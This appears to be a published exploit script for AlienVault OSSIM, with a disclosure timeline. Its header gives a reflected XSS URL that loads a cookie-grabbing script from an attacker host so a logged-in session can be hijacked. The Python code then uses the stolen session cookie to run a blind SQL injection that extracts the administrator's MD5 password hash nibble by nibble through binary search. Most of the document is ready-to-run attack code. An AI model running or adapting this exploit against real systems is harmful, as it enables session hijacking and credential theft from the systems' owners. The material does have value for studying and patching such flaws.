#!/usr/bin/python
''' AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php".
Proof of Concept:
Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session:
https://victim/ossim/top.php?option=3&soption=3&url=<script src=http://attacker/grabber.js></script>
With a cookie captured and a session hijacked, the blind SQL injection vulnerability in the "tcp_port" parameter of "base_qry_main.php" can be exploited to extract the admin hash.
Timeline:
# 28 May 2012: Vulnerability reported to CERT # 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 # 23 Jul 2012: Update from CERT: No response from AlienVault # 23 Jul 2012: Public Disclosure
Special Thanks to Tal Zeltzer
When we access the vulnerable script at:
https://victim/ossim/forensics/base_qry_main.php
With an invalid sql statement in tcp_port[0][0] we see that there is an sql injection vulnerability [Todo]: Add here description on how we got the original query We concluded that since magic_quotes_gpc is enabled it will be difficult to obtain a shell quickly. We decided to take a different approach, we will modify the query in a way that it will only return rows If a specific field we are interested in has X as the Nth byte. To optimize the speed we used an algorithm called 'binary search' what we do is: (n being the Nth byte of the result string): - check if X equals n - If its not check if X is bigger than n - If its not, X is smaller than n
We used this algorithm to extract data from files using the LOAD_FILE function We also used this algorithm to extract the admin MD5 hashed password ''' import sys,urllib2,urllib
# Example # https://victim/ossim/forensics/base_qry_main.php?tcp_port[0][0]=1=1) and 2 = mid((select pass from ossim.users where login=0x61646d696e),1,1)--&tcp_port[0][1]=layer4_dport&tcp_port[0][2]==&tcp_port[0][3]=17500&tcp_port[0][4]= &tcp_port[0][5]= &tcp_flags[0]= &layer4=TCP&num_result_rows=-1¤t_view=-1&submit=QUERYDBP&sort_order=sig_a&clear_allcriteria=1&clear_criteria=time
target = 'https://victim/ossim/forensics/base_qry_main.php' cookie = 'PHPSESSID=072af2ba52959b1602cc8fa864081d01' debug = False
# # We use this function to output debug information if required # def debugOut(str, newLine = True): if debug == True: if newLine == True: print str else: print str,
# # Injects the given sql-query and check if the results were 'True' or 'False' # def sendSql(query): global target, cookie # We use the cookie and the target variables as globals debugOut("Query: %s" % query) # Print the query we execute for debugging values = { 'tcp_port[0][0]': query, # This is our injection parameter 'tcp_port[0][1]': 'layer4_dport', 'tcp_port[0][2]': '=', 'tcp_port[0][3]': 17500, 'tcp_port[0][4]': ' ', 'tcp_port[0][5]': ' ', 'tcp_flags[0]': ' ', 'layer4': 'TCP', 'num_result_rows': -1, 'current_view': -1, 'submit': 'QUERYDBP', 'sort_order': 'sig_a', 'clear_allcriteria': 1, 'clear_criteria': 'time' }
url = "%s?%s" % (target, urllib.urlencode(values)) # Create the request url req = urllib2.Request(url) # Create a request for the specified url req.add_header('Cookie', cookie) # Add the cookie we stolen using XSS to identify ourselves try: # Exception handling response = urllib2.urlopen(req) # Send the request and save the response object except: # In-case of an exception print 'Failed to SQL inject' # Notify the user that there was an error sys.exit(-1) # Stop execution of our exploit data = response.read() # Read the response data # If the string 'No events...' is in not in our data the query is 'True' return('No events matching your search criteria have been found' not in data)
# # This function enumerates the value of a single nibble out of the admin hash # It uses the "binary search" algorithm to narrow down the number of requests we send # def enumerateNibble(subQuery, location, iMin = 0x00, iMax = 0x0F): n = (iMin + iMax) / 2 # Get the middle of our range debugOut('Trying %d' % n, False) # Notify what value is we comparing the nibble to # Test if the current value equals the nibble if sendSql('1=1) and %s = cast(conv(mid(%s,%d,1), 16, 10) as unsigned integer)--' % (n, subQuery, location)) == True: debugOut('Equals!') # If it is, notify return(hex(n)[2:]) # Return the hex representation of the nibble's value # Test if the current value is bigger than the nibble elif sendSql('1=1) and %s > cast(conv(mid(%s,%d,1),16,10) as unsigned integer)--' % (n, subQuery, location)) == True: debugOut('Bigger than') # If it is, notify return(enumerateNibble(subQuery, location, iMin, n - 1)) # Use recursion to try again with the new reduced range else: # If the current value is smaller than the nibble debugOut('Smaller than') # If it is, notify return(enumerateNibble(subQuery, location, n + 1, iMax)) # Use recursion to try again with the new reduced range
# # Do the actual enumeration of the admin-hash # def enumerateAdminHash(): hash = '' # Initialize the 'hash' variable for i in range(1,33): # Iterate from 1 to 32 (the size of the md5 hash) # Append the nibble we enumerate from the given query # (This query retrives the administrator hash (obviously..) hash += str(enumerateNibble('(select pass from ossim.users where login=0x61646d696e)', i)) print 'At %d, So far: %s' % (i, hash) # Notify about our progress return(hash) # When done, return the hash we enumerated
print "Trying to dump the administrator's hash" print "Note: If we get stuck or get invalid results it's probably due to an invalid session" hash = enumerateAdminHash() print "Administrator MD5 hash:" print "admin:%s" % hash
|